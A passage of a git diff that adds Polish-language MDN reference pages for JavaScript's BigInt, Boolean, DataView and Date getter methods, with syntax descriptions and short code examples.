+0n && 12n
+// ↪ 0n
+
+Boolean(0n)
+// ↪ false
+
+Boolean(12n)
+// ↪ true
+
+!12n
+// ↪ false
+
+!0n
+// ↪ true
+
+ +

Konstruktor

+ +
+
BigInt()
+
Tworzy obiekty {{jsxref("BigInt")}}.
+
+ +

Metody statyczne

+ +
+
{{JSxRef("BigInt.asIntN()")}}
+
Opakowuje wartość BigInt w liczbę całkowitą ze znakiem o wartości między -2width-1 a 2width-1 - 1.
+
{{JSxRef("BigInt.asUintN()")}}
+
Opakowuje wartość BigInt w liczbę całkowitą bez znaku o wartości między 0 a 2width - 1.
+
+ +

Metody instancyjne

+ +
+
{{JSxRef("BigInt.prototype.toLocaleString()")}}
+
Zwraca string z zależną od języka reprezentacją danej liczby. Nadpisuje metodę {{JSxRef("Object.prototype.toLocaleString()")}}.
+
{{JSxRef("BigInt.prototype.toString()")}}
+
Zwraca string reprezentujący dany obiekt w określonym źródle. Nadpisuje metodę {{JSxRef("Object.prototype.toString()")}}.
+
{{JSxRef("BigInt.prototype.valueOf()")}}
+
Zwraca prymitywną wartość danego obiektu. Nadpisuje metodę {{JSxRef("Object.prototype.valueOf()")}}.
+
+ +

Zalecenia w użyciu

+ +

Wymuszanie typów

+ +

Ponieważ wymuszanie tupów między {{JSxRef("Number")}} a BigInt może prowadzić do utraty precyzji, zaleca się używanie jedynie typu BigInt, gdy można się spodziewać, że pojawią się wartości przekraczające 253 i nie należy wówczas przeprowadzać konwersji między tymi typami.

+ +

Kryptografia

+ +

Operacje wspierane dla BigIntów nie są stałe czasowo, dlatego też typ BigInt nie nadaje się do użycia w kryptografii.

+ +

Użycie w JSON

+ +

Użycie {{jsxref("JSON.stringify()")}} z dowolną wartością typu BigInt spowoduje błąd TypeError, ponieważ wartości BigInt nie są domyślnie serialozowane w JSONie. Jednakże, jeśli taka operacja jest potrzebna, możesz zaimplemntować własną metodę toJSON:

+ +
BigInt.prototype.toJSON = function() { return this.toString()  }
+ +

Zamiast wyrzucania wyjątku, JSON.stringify będzie teraz zwracać string:

+ +
JSON.stringify(BigInt(1))
+// '"1"'
+ +

Przykłady

+ +

Obliczanie liczb pierwszych

+ +
// Zwraca true jeśl dany BigInt jest liczbą pierwszą
+function isPrime(p) {
+  for (let i = 2n; i * i <= p; i++) {
+    if (p % i === 0n) return false;
+  }
+  return true
+}
+
+// Przyjmuje BigInt n jako argument, zwraca n-tą liczbę pierwszą jako BigInt
+function nthPrime(nth) {
+  let maybePrime = 2n
+  let prime = 0n
+
+  while (nth >= 0n) {
+    if (isPrime(maybePrime)) {
+      nth--
+      prime = maybePrime
+    }
+    maybePrime++
+  }
+
+  return prime
+}
+
+nthPrime(20n)
+// ↪ 73n
+ +

Specyfikacje

+ + + + + + + + + + + + +
Specyfikacja
{{SpecName("ESDraft", "#sec-bigint-objects", "BigInt objects")}}
+ +

Wsparcie przeglądarek

+ + + +

{{Compat("javascript.builtins.BigInt")}}

+ +

Postęp implementacji

+ +

Poniższa tabela przedstawia postęp implementacji tej funkcji języka JavaScript, gdyż nie osiągnęła ona jeszcze pełnej stabilności między przeglądarkami. Dane są generowane przez uruchamianie odpowiednich testów tej funkcji w Test262,standrardowym zestawie testów JavaScript, „nocnych wersji” (ang. nightly build) lub ostatnich wydań silnika JavaScript w każdej przeglądarce.

+ +
{{EmbedTest262ReportResultsTable("BigInt")}}
+ +

Zobacz też

+ + diff --git a/files/pl/web/javascript/reference/global_objects/bigint/tostring/index.html b/files/pl/web/javascript/reference/global_objects/bigint/tostring/index.html new file mode 100644 index 0000000000..9cc06f15ea --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/bigint/tostring/index.html @@ -0,0 +1,95 @@ +--- +title: BigInt.prototype.toString() +slug: Web/JavaScript/Referencje/Obiekty/BigInt/toString +tags: + - BigInt + - JavaScript + - Metodă + - Prototyp + - toString() +translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/toString +--- +
{{JSRef}}
+ +

Metoda toString() zwraca ciąg znaków (string), reprezentujący dany obiekt {{jsxref("BigInt")}}. Końcowy znak "n" nie jest częścią wynikowego ciągu znaków.

+ +
{{EmbedInteractiveExample("pages/js/bigint-tostring.html")}}
+ + + +

Składnia

+ +
bigIntObj.toString([podstawa])
+ +

Parametry

+ +
+
podstawa{{optional_inline}}
+
Argument opcjonalny. Liczba całkowita w zakresie od 2 do 36, reprezentująca bazę systemu liczbowego, w którym ma być przedstawiona dana wartość {{jsxref("BigInt")}}.
+
+ +

Zwracana wartość

+ +

Ciąg znaków reprezentujący dany obiekt {{jsxref("BigInt")}}.

+ +

Wyjątki

+ +
+
{{jsxref("RangeError")}}
+
Jeśli do metody toString() przekazana jest podstawa systemu mniejsza niż 2 lub większa niż 36, wyrzucany jest błąd {{jsxref("RangeError")}}.
+
+ +

Opis

+ +

Obiekt {{jsxref("BigInt")}} nadpisuje metodę toString() obiektu {{jsxref("Object")}}; nie dziedziczy metody {{jsxref("Object.prototype.toString()")}}. Dla obiektów {{jsxref( "BigInt")}}, metoda toString() zwraca ciąg znaków reprezentujący daną wartość w systemie pozycyjnym o zadanej bazie.

+ +

Metoda toString() parsuje pierwszy argument i próbuje zwrócić ciąg znaków reprezentujący daną wartość w systemie o zadanej podstawie (bazie). Dla systemów o podstawie większej niż 10, do reprezentacji cyfr większych niż 9 używane są kolejne litery alfabetu łacińskiego. Przykładowo, dla wartości w systemie szesnastkowym (o podstawie równej 16), używane są litery od a do f.

+ +

Jeśli podstawa nie jest podana, zakłada się, że preferowaną bazą systemu jest 10.

+ +

Jeśli wartość bigIntObj jest ujemna, znak jest zachowywany. Dzieje się tak nawet wtedy, gdy podstawą jest 2; zwracany ciąg cyfr jest dodatnią reprezentacją bigIntObj, poprzedzoną znakiem -, nie dopełnieniem dwójkowym bigIntObj.

+ +

Przykłady

+ +

Użycie toString

+ +
17n.toString();      // '17'
+66n.toString(2);     // '1000010'
+254n.toString(16);   // 'fe'
+-10n.toString(2);    // -1010'
+-0xffn.toString(2);  // '-11111111'
+
+ +

BigInt z ujemnym zerem

+ +

Nie ma obiektów BigInt reprezentujących ujemne zero, tak jak nie ma ujemnych zer wśród liczb całkowitych.. -0.0 jest zmiennoprzecinkową koncepcją zmiennoprzecinkową IEEE, która pojawia się w języku JavaScript jedynie w typie {{jsxref("Number")}}.

+ +
(-0n).toString();      // '0'
+BigInt(-0).toString(); // '0'
+ +

Specyfikacje

+ + + + + + + + + + +
Specyfikacja
{{SpecName('ESDraft', '#sec-bigint.prototype.tostring', 'BigInt.prototype.toString()')}}
+ +

Wsparcie przeglądarek

+ + + +

{{Compat("javascript.builtins.BigInt.toString")}}

+ +

Zobacz też

+ + diff --git a/files/pl/web/javascript/reference/global_objects/bigint/valueof/index.html b/files/pl/web/javascript/reference/global_objects/bigint/valueof/index.html new file mode 100644 index 0000000000..a1d4c312fd --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/bigint/valueof/index.html @@ -0,0 +1,59 @@ +--- +title: BigInt.prototype.valueOf() +slug: Web/JavaScript/Referencje/Obiekty/BigInt/valueOf +tags: + - BigInt + - JavaScript + - Metodă + - Prototype + - valueOf() +translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/valueOf +--- +
{{JSRef}}
+ +

Metoda valueOf() zwraca opakowaną wartość prymitywną obiektu {{jsxref("BigInt")}}.

+ +
{{EmbedInteractiveExample("pages/js/bigint-valueof.html","shorter")}}
+ + + +

Składnia

+ +
bigIntObj.valueOf()
+ +

Zwracana wartość

+ +

BigInt reprezentujący wartość prymitywną danego obiektu {{jsxref("BigInt")}}.

+ +

Przykłady

+ +

Użycie valueOf

+ +
typeof Object(1n); // object
+typeof Object(1n).valueOf(); // bigint
+
+ +

Specyfikacje

+ + + + + + + + + + +
Specyfikacja
{{SpecName('ESDraft', '#sec-bigint.prototype.valueof', 'BigInt.prototype.valueOf()')}}
+ +

Wsparcie przeglądarek

+ + + +

{{Compat("javascript.builtins.BigInt.valueOf")}}

+ +

Zobacz też

+ + diff --git a/files/pl/web/javascript/reference/global_objects/boolean/index.html b/files/pl/web/javascript/reference/global_objects/boolean/index.html new file mode 100644 index 0000000000..85e5a6a773 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/boolean/index.html @@ -0,0 +1,111 @@ +--- +title: Boolean +slug: Web/JavaScript/Referencje/Obiekty/Boolean +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Boolean +--- +

{{JSRef("Global_Objects", "Boolean")}}

+ +

Podsumowanie

+ +

Obiekt Boolean jest obiektem opakowującym (ang.wrapper ) dla wartości logicznych.

+ +

Składnia

+ +
new Boolean([wartosc])
+ +

Parametry

+ +
+
wartosc 
+
Początkowa wartość obiektu Boolean.
+
+ +

Opis

+ +

Wartość przekazana jako pierwszy parametr jest w razie konieczności konwertowana do wartości logicznej. Jeśli wartość zostanie pominięta lub będzie równa 0, -0, null, false, NaN, będzie pustym łańcuchem znaków ("") lub będzie niezdefiniowana, obiekt przyjmie początkową wartość false. Dowolna inna wartość, włączając łańcuch znaków "false", spowoduje utworzenie obiektu z początkową wartością true.

+ +

Nie należy mylić prostych wartości logicznych true i false z wartościami true i false obiektu Boolean.

+ +

Każdy obiekt, którego wartością nie jest wartość undefined lub null, w tym obiekt Boolean posiadający wartość false, traktowany jest w instrukcjach warunkowych jako true. Przykładowo warunek w poniższej instrukcji if będzie miał wartość true:

+ +
x = new Boolean(false);
+if (x) {
+  // . . . ten kod zostanie wykonany
+}
+
+ +

Taka sytuacja nie zachodzi przy prostych wartościach logicznych. Przykładowo warunek w poniższej instrukcji if będzie miał wartość false::

+ +
x = false;
+if (x) {
+  // . . . ten kod nie zostanie wykonany
+}
+
+ +

Nie należy zatem używać obiektu Boolean do konwersji wartości nie będącej wartością logiczną na wartość typu Boolean. Zamiast tego należy skorzystać z funkcji Boolean():

+ +
x = Boolean(wyrazenie);     // zalecane
+x = new Boolean(wyrazenie); // nie należy używać
+
+ +

Jeśli jako wartość początkową określony zostanie dowolny obiekt, w tym obiekt Boolean o wartości false, nowy obiekt Boolean będzie miał wartość true.

+ +
myFalse = new Boolean(false);   // wartość początkowa: false
+g = new Boolean(myFalse);       // wartość początkowa: true
+myString = new String("Hello"); // obiekt String (łańcuch znaków)
+s = new Boolean(myString);      // wartość początkowa: true
+
+ +

Nie należy używać obiektu Boolean zamiast prostej wartości logicznej.

+ +

Własności

+ +
+
Boolean.length
+
Length property whose value is 1.
+
+ +
+
{{jsxref("Boolean.prototype")}}
+
Definiuje własność współdzieloną przez wszystkie obiekty Boolean.
+
+ +

Metody

+ +

Globalny obiekt Boolean sam w sobie nie zawiera żadnych metod, jednak dziedziczy on niektóre metody poprzez łańcuch prototypu.

+ +
{{jsOverrides("Function", "Methods")}}
+ +

Przykłady

+ +

Tworzenie obiektów Boolean z początkową wartością „fałsz”

+ +
bNoParam = new Boolean();
+bZero = new Boolean(0);
+bNull = new Boolean(null);
+bEmptyString = new Boolean("");
+bfalse = new Boolean(false);
+
+ +

Tworzenie obiektów Boolean z początkową wartością „prawda”

+ +
btrue = new Boolean(true);
+btrueString = new Boolean("true");
+bfalseString = new Boolean("false");
+bSuLin = new Boolean("Su Lin");
+
+ +

Zobacz także

+ + + +
 
diff --git a/files/pl/web/javascript/reference/global_objects/boolean/tosource/index.html b/files/pl/web/javascript/reference/global_objects/boolean/tosource/index.html new file mode 100644 index 0000000000..b41f1c5806 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/boolean/tosource/index.html @@ -0,0 +1,51 @@ +--- +title: Boolean.prototype.toSource() +slug: Web/JavaScript/Referencje/Obiekty/Boolean/toSource +tags: + - Boolean + - JavaScript + - Method + - Non-standard + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Boolean/toSource +--- +
{{JSRef}} {{non-standard_header}}
+ +

Podsumowanie

+ +

Zwraca łańcuch znaków z kodem źródłowym obiektu.

+ +

Składnia

+ +
booleanObj.toSource()
+Boolean.toSource()
+ +

Parametry

+ +

Brak.

+ +

Opis

+ +

Metoda toSource zwraca następujące wartości:

+ + + + + +

Metoda ta jest zwykle stosowana wewnętrznie przez interpreter JavaScriptu, a nie bezpośrednio w kodzie programów.

+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/boolean/tostring/index.html b/files/pl/web/javascript/reference/global_objects/boolean/tostring/index.html new file mode 100644 index 0000000000..fe61d7bca9 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/boolean/tostring/index.html @@ -0,0 +1,41 @@ +--- +title: Boolean.prototype.toString() +slug: Web/JavaScript/Referencje/Obiekty/Boolean/toString +tags: + - Boolean + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Boolean/toString +--- +
{{JSRef}}
+ +

Podsumowanie

+ +

Zwraca ciąg znaków reprezentujący dany obiekt Boolean

+ +

Składnia

+ +
bool.toString()
+ +

Parametry

+ +

Brak.

+ +

Opis

+ +

Obiekt {{jsxref("Boolean")}} przesłania metodę toString obiektu {{jsxref("Object")}}, nie dziedziczy metody {{jsxref("Object.prototype.toString()")}}. Dla obiektów Boolean metoda toString zwraca ich tekstową reprezentację.

+ +

JavaScript wywołuje metodę toString samoczynnie, kiedy instancja obiektu {{jsxref("Boolean")}} ma być reprezentowana jako wartość tekstowa lub kiedy instancja obiektu {{jsxref("Boolean")}} jest składnikiem konkatenacji ciągu(-ów) znaków.

+ +

Dla obiektów i wartości {{jsxref("Boolean")}} wbudowana metoda toString zwraca ciąg znaków "true" lub "false" w zależności od wartości obiektu boolowskiego. W poniższym przykładzie flaga.toString zwraca "true".

+ +
var flaga = new Boolean(true)
+var mojaZmienna=flaga.toString()
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/boolean/valueof/index.html b/files/pl/web/javascript/reference/global_objects/boolean/valueof/index.html new file mode 100644 index 0000000000..1e20821efa --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/boolean/valueof/index.html @@ -0,0 +1,43 @@ +--- +title: Boolean.prototype.valueOf() +slug: Web/JavaScript/Referencje/Obiekty/Boolean/valueOf +tags: + - Boolean + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Boolean/valueOf +--- +
{{JSRef}}
+ +

Podsumowanie

+ +

Zwraca wartość prostą obiektu {{jsxref("Boolean")}}.

+ +

Składnia

+ +
bool.valueOf()
+ +

Parametry

+ +

Brak.

+ +

Opis

+ +

Metoda valueOf obiektu {{jsxref("Boolean")}} zwraca wartość prostą obiektu {{jsxref("Boolean")}} lub literału {{jsxref("Boolean")}} jako typ Boolean.

+ +

Metoda ta jest zwykle wywoływana wewnętrznie przez interpreter JavaScriptu, a nie w typowym kodzie w JavaScripcie.

+ +

Przykłady

+ +

Przykład: Zastosowanie valueOf

+ +
var x = new Boolean();
+myVar = x.valueOf()      // przypisuje myVar wartość false
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/dataview/index.html b/files/pl/web/javascript/reference/global_objects/dataview/index.html new file mode 100644 index 0000000000..db3d459a82 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/dataview/index.html @@ -0,0 +1,118 @@ +--- +title: DataView +slug: Web/JavaScript/Referencje/Obiekty/DataView +translation_of: Web/JavaScript/Reference/Global_Objects/DataView +--- +
{{JSRef}}
+ +

DataView  udostępnia niskopoziowy interfejs do zapisu i odczytu typów numerycznych w formie {{jsxref("ArrayBuffer")}} niezależnie od kodowania platformy.

+ +

Składnia

+ +
new DataView(buffer [, byteOffset [, byteLength]])
+ +

Parametry

+ +
+
buffer
+
Istniejący {{jsxref("ArrayBuffer")}} lub {{jsxref("SharedArrayBuffer")}} {{experimental_inline}} używany jako pamięć dla  obiektu  DataView .
+
byteOffset {{optional_inline}}
+
The offset, in bytes, to the first byte in the specified buffer for the new view to reference. If not specified, the view of the buffer will start with the first byte.
+
byteLength {{optional_inline}}
+
The number of elements in the byte array. If unspecified, length of the view will match the buffer's length.
+
+ +

Return value

+ +

A new DataView object representing the specified data buffer.

+ +

Exceptions

+ +
+
{{jsxref("RangeError")}}
+
Thrown if the byteOffset and byteLength result in the specified view extending past the end of the buffer.
+
+ +

Description

+ +

Endianness

+ +

Multi-byte number formats are represented in memory differently depending on machine architecture, see {{Glossary("Endianness")}} for an explanation. DataView accessors provide explicit control of how data will be accessed irrespective of the platform architecture's endianness.

+ +
var littleEndian = (function() {
+  var buffer = new ArrayBuffer(2);
+  new DataView(buffer).setInt16(0, 256, true /* littleEndian */);
+  // Int16Array uses the platform's endianness.
+  return new Int16Array(buffer)[0] === 256;
+})();
+console.log(littleEndian); // true or false
+
+ +

Properties

+ +

All DataView instances inherit from {{jsxref("DataView.prototype")}} and allows the addition of properties to all DataView objects.

+ +

{{page('en-US/Web/JavaScript/Reference/Global_Objects/DataView/prototype','Properties')}}

+ +

Methods

+ +

{{page('en-US/Web/JavaScript/Reference/Global_Objects/DataView/prototype','Methods')}}

+ +

Example

+ +
var buffer = new ArrayBuffer(16);
+var dv = new DataView(buffer, 0);
+
+dv.setInt16(1, 42);
+dv.getInt16(1); //42
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Superseded by ECMAScript 6
{{SpecName('ES6', '#sec-dataview-constructor', 'DataView')}}{{Spec2('ES6')}}Initial definition in an ECMA standard
{{SpecName('ESDraft', '#sec-dataview-constructor', 'DataView')}}{{Spec2('ESDraft')}} 
+ +

Browser compatibility

+ + + +

{{Compat("javascript.builtins.DataView")}}

+ +

Compatibility notes

+ +

Starting with Firefox 40, DataView requires to be constructed with a {{jsxref("Operators/new", "new")}} operator. Calling DataView() as a function without new, will throw a {{jsxref("TypeError")}} from now on.

+ +
var dv = DataView(buffer, 0);
+// TypeError: calling a builtin DataView constructor without new is forbidden
+ +
var dv = new DataView(buffer, 0);
+ +

See also

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/getdate/index.html b/files/pl/web/javascript/reference/global_objects/date/getdate/index.html new file mode 100644 index 0000000000..2dcba53fa0 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/getdate/index.html @@ -0,0 +1,47 @@ +--- +title: Date.prototype.getDate() +slug: Web/JavaScript/Referencje/Obiekty/Date/getDate +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getDate +--- +
{{JSRef}}
+ +

Podsumowanie

+ +

Zwraca dzień miesiąca dla określonej daty stosownie do czasu lokalnego.

+ +

Składnia

+ +
dateObj.getDate()
+ +

Parametry

+ +

Brak.

+ +

Opis

+ +

Wartość zwracana przez getDate to liczby całkowite z przedziału liczb pomiędzy 1 a 31.

+ +

Przykłady

+ +

Przykład: Zastosowanie getDate()

+ +

Druga instrukcja poniżej przydziela wartość 25 do zmiennej dzien, wartość oparta na Date, obiektu Xmas95.

+ +
var Xmas95 = new Date("December 25, 1995 23:15:00");
+var dzien = Xmas95.getDate();
+
+console.log(dzien), // 25
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/getday/index.html b/files/pl/web/javascript/reference/global_objects/date/getday/index.html new file mode 100644 index 0000000000..0c52e4e3dd --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/getday/index.html @@ -0,0 +1,47 @@ +--- +title: Date.prototype.getDay() +slug: Web/JavaScript/Referencje/Obiekty/Date/getDay +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getDay +--- +
{{JSRef("Global_Objects", "Date")}}
+ +

Podsumowanie

+ +

Zwraca dzień tygodnia określonej daty, stosownie do czasu lokalnego.

+ +

Składnia

+ +
dateObj.getDay()
+ +

Parametry

+ +

Brak.

+ +

Opis

+ +

Wartością zwracaną przez getDay jest liczba całkowita, odnosząca się do dnia tygodnia: 0 dla niedzieli, 1 dla poniedziałku, 2 dla wtorku, i tak dalej.

+ +

Przykłady

+ +

Przykład: Zastosowanie getDay()

+ +

Druga instrukcja poniżej przydziela wartość 1 do dzienTyg, opierając się o wartość Date, obiektu Xmas95. 25 grudnia 1995 roku wypadał w poniedziałek.

+ +
var Xmas95 = new Date("December 25, 1995 23:15:00");
+var weekday = Xmas95.getDay();
+
+console.log(weekday); // 1
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/getfullyear/index.html b/files/pl/web/javascript/reference/global_objects/date/getfullyear/index.html new file mode 100644 index 0000000000..ecc7d868c0 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/getfullyear/index.html @@ -0,0 +1,47 @@ +--- +title: Date.prototype.getFullYear() +slug: Web/JavaScript/Referencje/Obiekty/Date/getFullYear +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getFullYear +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca rok określonej daty, stosownie do czasu lokalnego.

+ +

Składnia

+ +
dateObj.getFullYear()
+ +

Parametry

+ +

Brak.

+ +

Opis

+ +

Wartość getFullYear zwracana jest jako pełna liczba. Dla dat liczba lat zawiera się pomiędzy 1000 i 9999, getFullYear zwraca czterocyfrową liczbę, na przykład: 1995. Użyj tej funkcji, aby być pewnym, że wyświetlona będzie pełna data po roku 2000.

+ +

Użyj tej metody zamiast metody getYear.

+ +

Przykłady

+ +

Przykład: Zastosowanie getFullYear

+ +

Następujący przykład przydziela czterocyfrową wartość aktualnego roku do zmiennej yr.

+ +
var today = new Date();
+var yr = today.getFullYear();
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/gethours/index.html b/files/pl/web/javascript/reference/global_objects/date/gethours/index.html new file mode 100644 index 0000000000..a6010ec8c3 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/gethours/index.html @@ -0,0 +1,46 @@ +--- +title: Date.prototype.getHours() +slug: Web/JavaScript/Referencje/Obiekty/Date/getHours +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getHours +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca godzinę określonej daty, stosownie do czasu lokalnego.

+ +

Składnia

+ +
dateObj.getHours()
+ +

Parametry

+ +

Brak.

+ +

Opis

+ +

Wartość zwracana przez getHours jest liczbą całkowitą z przedziału od 0 do 23.

+ +

Przykłady

+ +

Przykład: Zastosowanie getHours()

+ +

Druga instrukcja poniżej przydziela wartość liczby 23 zmiennej hours, opartej o wartość Date obiektu Xmas95.

+ +
var Xmas95 = new Date("December 25, 1995 23:15:00");
+var hours = Xmas95.getHours();
+
+console.log(hours); // 23
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/getmilliseconds/index.html b/files/pl/web/javascript/reference/global_objects/date/getmilliseconds/index.html new file mode 100644 index 0000000000..1ab98844fc --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/getmilliseconds/index.html @@ -0,0 +1,44 @@ +--- +title: Date.prototype.getMilliseconds() +slug: Web/JavaScript/Referencje/Obiekty/Date/getMilliseconds +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMilliseconds +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca milisekundy określonej daty, stosownie do czasu lokalnego.

+ +

Składnia

+ +
dateObj.getMilliseconds()
+ +

Parametry

+ +

Brak.

+ +

Opis

+ +

Wartość zwracana przez getMilliseconds jest liczbą pomiędzy 0 a 999.

+ +

Przykłady

+ +

Przykład: Zastosowanie getMilliseconds()

+ +

Następujący przykład przydziela liczbę milisekund aktualnego czasu do zmiennej ms.

+ +
var today = new Date();
+var ms = today.getMilliseconds();
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/getminutes/index.html b/files/pl/web/javascript/reference/global_objects/date/getminutes/index.html new file mode 100644 index 0000000000..3ee877bd14 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/getminutes/index.html @@ -0,0 +1,48 @@ +--- +title: Date.prototype.getMinutes() +slug: Web/JavaScript/Referencje/Obiekty/Date/getMinutes +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMinutes +--- +
{{JSRef}}
+ +

Podsumowanie

+ +

Zwraca minuty dla określonej daty w zależności od czasu lokalnego.

+ +

Składnia

+ +
dateObj.getMinutes()
+ +

Parametry

+ +

Brak.

+ +

Opis

+ +

Wartość zwracana przez getMinutes jest liczbą całkowitą z przedziału od 0 do 59.

+ +

Przykłady

+ +

Przykład: Zastosowanie getMinutes

+ +

Druga instrukcja poniżej przypisuje wartość 15 do zmiennej minutes, bazując na wartości obiektu Xmas95 typu Date.

+ +
var Xmas95 = new Date("December 25, 1995 23:15:00");
+var minutes = Xmas95.getMinutes();
+
+console.log(minutes); // 15
+
+ +

Zobacz także

+ +
+ +
diff --git a/files/pl/web/javascript/reference/global_objects/date/getmonth/index.html b/files/pl/web/javascript/reference/global_objects/date/getmonth/index.html new file mode 100644 index 0000000000..bf3e74b56b --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/getmonth/index.html @@ -0,0 +1,46 @@ +--- +title: Date.prototype.getMonth() +slug: Web/JavaScript/Referencje/Obiekty/Date/getMonth +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMonth +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca miesiąc dla określonej daty w zależności od czasu lokalnego.

+ +

Składnia

+ +
dateObj.getMonth()
+ +

Parametry

+ +

Brak.

+ +

Opis

+ +

Wartość zwracana przez getMonth jest liczbą całkowitą z przedziału od 0 do 11. 0 reprezentuje styczeń, 1 luty, i tak dalej.

+ +

Przykłady

+ +

Przykład: Zastosowanie getMonth()

+ +

Druga instrukcja z przykładu poniżej przypisuje wartość 11 zmiennej month, bazując na wartości obiektu Xmas95 typu Date.

+ +
var Xmas95 = new Date("December 25, 1995 23:15:00");
+var month = Xmas95.getMonth();
+
+console.log(month); // 11
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/getseconds/index.html b/files/pl/web/javascript/reference/global_objects/date/getseconds/index.html new file mode 100644 index 0000000000..f471165425 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/getseconds/index.html @@ -0,0 +1,46 @@ +--- +title: Date.prototype.getSeconds() +slug: Web/JavaScript/Referencje/Obiekty/Date/getSeconds +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getSeconds +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca sekundy dla określonej daty w zależności od czasu lokalnego.

+ +

Składnia

+ +
dateObj.getSeconds()
+ +

Parametry

+ +

Brak.

+ +

Opis

+ +

Wartość zwracana przez getSeconds jest liczbą całkowitą z przedziału od 0 do 59.

+ +

Przykłady

+ +

Przykład: Zastosowanie getSeconds()

+ +

Druga instrukcja poniżej przypisuje wartość 30 do zmiennej secs, bazując na wartości obiektu Xmas95 typu Date.

+ +
var Xmas95 = new Date("December 25, 1995 23:15:30");
+var seconds = Xmas95.getSeconds();
+
+console.log(seconds); // 30
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/gettime/index.html b/files/pl/web/javascript/reference/global_objects/date/gettime/index.html new file mode 100644 index 0000000000..a57da23566 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/gettime/index.html @@ -0,0 +1,47 @@ +--- +title: Date.prototype.getTime() +slug: Web/JavaScript/Referencje/Obiekty/Date/getTime +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getTime +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca liczbę reprezentującą czas dla określonej daty stosownie do czasu uniwersalnego.

+ +

Może być wykorzystana do przypisania daty i czasu do innego obiektu {{jsxref("Date")}}. Ta metoda jest funkcjonalnie równoważna metodzie {{jsxref("Date.valueof", "valueOf()")}}.

+ +

Składnia

+ +
dateObj.getTime()
+ +

Parametry

+ +

Brak.

+ +

Opis

+ +

Wartość zwracana przez metodę getTime jest liczbą milisekund liczoną od 1 stycznia 1970 00:00:00.

+ +

Przykłady

+ +

Przykład: Zastosowanie getTime()

+ +

Następująca instrukcja przypisuje wartość daty theBigDay do sameAsBigDay:

+ +
var theBigDay = new Date("July 1, 1999");
+var sameAsBigDay = new Date();
+sameAsBigDay.setTime(theBigDay.getTime());
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/gettimezoneoffset/index.html b/files/pl/web/javascript/reference/global_objects/date/gettimezoneoffset/index.html new file mode 100644 index 0000000000..7805486fde --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/gettimezoneoffset/index.html @@ -0,0 +1,35 @@ +--- +title: Date.prototype.getTimezoneOffset() +slug: Web/JavaScript/Referencje/Obiekty/Date/getTimezoneOffset +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getTimezoneOffset +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca przesunięcie strefy czasowej w minutach dla bieżącej lokalizacji.

+ +

Składnia

+ +
dateObj.getTimezoneOffset()
+ +

Parametry

+ +

Brak.

+ +

Opis

+ +

